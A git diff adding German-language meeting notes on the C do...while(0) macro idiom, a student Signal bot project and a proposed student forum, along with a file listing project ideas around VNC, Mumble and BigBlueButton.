+ #define spin_lock_mutex(lock, flags) \ + do \ + { \ + spin_lock (lock); \ + (void) (flags); \ + } \ + while (0) + +Benutzung: + + if (whatever) + spin_lock_mutex (lock, flags); // Semikolon! + else + whatever (); + +Wird zu: + + if (whatever) + do + { + spin_lock (lock); + (void) (flags); + } + while (0); // Semikolon! + else + whatever (); + +Definition: + + #define spin_lock_mutex(lock, flags) \ + { \ + spin_lock (lock); \ + (void) (flags); \ + } + +Benutzung: + + if (whatever) + spin_lock_mutex (lock, flags); // Semikolon! + else + whatever (); + +Wird zu: + + if (whatever) + { + spin_lock (lock); + (void) (flags); + }; // Semikolon! --> Fehler + else + whatever (); + +Definition: + + #define spin_lock_mutex(lock, flags) \ + spin_lock (lock); \ + (void) (flags) + +Benutzung: + + if (whatever) + spin_lock_mutex (lock, flags); // Semikolon! + else + whatever (); + +Wird zu: + + if (whatever) + spin_lock (lock); + (void) (flags); // Semikolon! --> Fehler + else + whatever (); + +Fazit: do ... while(0) ist ein Trick, um ein Präprozessor-Macro +so definieren zu können, daß es in allen Situationen wie eine +Funktion verwendet werden kann. + +F. Aust, P. Maas: Signal-Bot, 09.07.2021, 13:35:29 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +https://gitlab.cvh-server.de/faust/signalbot + +Der Bot protokolliert und interpretiert alle Nachrichten, die er bekommt. +Nachrichten, die mit einem Punkt beginnen, sind Befehle. + +Beipiel: + .help + .foo --> bar + .ping --> pong + +Herausforderung: über die Kommandozeile laufen lassen +python-Skript benutzt signal-CLI. Die benutzt Java. Langsam: 90s +Jetzt: läuft per systemd im Hintergrund --> Java läuft durch. --> schnell + +Funktionen: + + - .yn --> zufällige GIF-Datei von yes-no-wtf + + - Zitate in Datenbank speichern + + - Der Bot informiert den Kanal automatisch aktuell kostenlose Computerspiele. + + - Projekt: .gn: Der Bot prüft den Chat auf Gender-Neutralität, weist auf + nicht-neutrale Wörter hin und schlägt gener-neutrale Synoyme vor - unter + Verwendung von geschicktgendern.de. + + - Projekt: Signal selbst unterstürzt bereits Polls, sog. Reactions. + zusätzlich: cvhbot-Polls durch den Bot + + - Projekt: MQTT-To-Signal-Adapter (separates Programm, sagt dem Bot bescheid) + +Es ist möglich, mehrere Bots auf demselben Server laufen zu lassen, +sofern jeder Bot eine eigene Telefonnummer hat. +Alternative: Die Reaktion des Bots hängt vom Ursprung +des Befehls ab (Benutzer, Gruppe). + +Der Bot kommt bei den Benutzern gut an. + +Nachteile von Signal: + - zentraler Server + - App im Ruhemodus erfährt nicht von neuen Nachrichten + (Konfiguration der Stromsparmaßnahmen unter Android hilft nicht.) + +Projektideen: + - Signal beibringen, auch im Hintergrund Nachrichten zu empfangen + - Signal mit Mumble-Chat koppeln + - Signal mit BBB-Chat koppeln + - Matrix als "Sammelstelle" + +S. Simanek: Forums-Projekt, 09.07.2021, 14:25:09 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Forum für Studierende, aber auch Lehrende, für den Austausch über +Studieninhalte, für Austausch mit der Fachschaftsvertretung, aber +auch für Off-Topic-Gespräche (als Alternative to Discord usw.) + +Situation: Auf dem CVH-Server gibt es bereits eine +Discourse-Installation. Die müßte man wieder in Betrieb nehmen. + +Abgrenzung zu Signal: + - Signal ist ein Messenger-Dienst - Echtzeit-Kommunikation - + wie SMS mit Gruppen - nach Personen(gruppen) sortiert. + Signal ist nicht anonym. + - Forum: offline-Kommunikation + Ein Forum ist nach Themen sortiert. + Ein Forum kann pseudonym sein. + +Vorschläge für die Struktur des Forums: + - Start-Subforum mit FAQs und Übersicht + - fachspezifische Subforen + - organisatorische Subforen: Ankündigungen der Fachschaftsvertretung usw. + - Off-Topic-Subforen + +Sonstiges: + - Fachschaftsvertretung mit einbinden! + - Maßnahmen gegen Trolle und Spammer! --> Moderation erforderlich + - Gelder für Moderatoren beantragen: diversitätssensible Studieneigangsphase + - Wichtig für nachhatltige IT: Lizenzen, Datenschutz diff --git a/projekte.txt b/projekte.txt new file mode 100644 index 0000000000000000000000000000000000000000..bc8aeccc7f90e84f4184103024654373fede944b --- /dev/null +++ b/projekte.txt @@ -0,0 +1,40 @@ +;) GitLab: Datum und Uhrzeit anzeigen +:) cvh-bot +:) Docker für VNC +:) CVH-Camera +:o dynamische Kamera-Positionierung für PULT + o Mumsi die Anzeige der Telefonnummer abgewöhnen + o Telefon-Wahl aus Mumble heraus + - Mumble-Chat mit BBB-Chat verbinden + - cvh-bot mit BBB-Umfragen verbinden + * noVNC in BBB einbauen + * yesVNC in BBB einbauen + - Listening VNC Viewer in BBB einbauen + * CVH-Camera in BBB einbauen + - Repeater für Mumble + - Repeater für CVH-Camera (Janus, PULT) + * yesVNC nach WebAssembly übersetzen + - yesVNC auch im Hintergrund laufen lassen + - Scroll-Algorithmus für x11vnc oder TightVNC + - Kombinierter Desktop-Client für VNC und Mumble + * Mumble-Desktop-Client: Konfiguration vereinfachen +:o Mumble/VNC/CVH-Camera für weitere Plattformen nutzbar machen, z.B. iOS, MacOS X + - Mumble-Client: Forward-Error-Correction aktivierbar machen + - PULT auf übersichtlichere und effizientere Weise neu programmieren + * Docker für PULT + * Komfortable Fernsteuerung von Rechnern von Teilnehmenden über VNC in PULT + Server: z.B. TightVNC; Client: z.B. noVNC + - Komfortable Fernsteuerung von Rechnern von Teilnehmenden über VNC in BBB + - Work Advanture für die Hochschule installieren + Bsp-Instanz aus Bochum (von dem dortigen Hackspace): https://virtuallab.das-labor.org/ + Doku dazu: https://howto.rc3.world/workadventure.en.html + * 3d-Scan aus einem Film heraus + - BBB: Standard-Umfrage: Ja/Nein/Enthaltung + - Mobil mit 10 Fingern bedienbare Tastatur + - Sinnvolle Anwendung für PineWatch + - Automatische Transkription in BBB und/oder PULT + (zum Vergleich https://github.com/jitsi/jigasi/pull/294) + - Treiber für freies Smartphone + - Echtzeit-Kommunikation mit freiem Smartphone + - adele + - GNU Pascal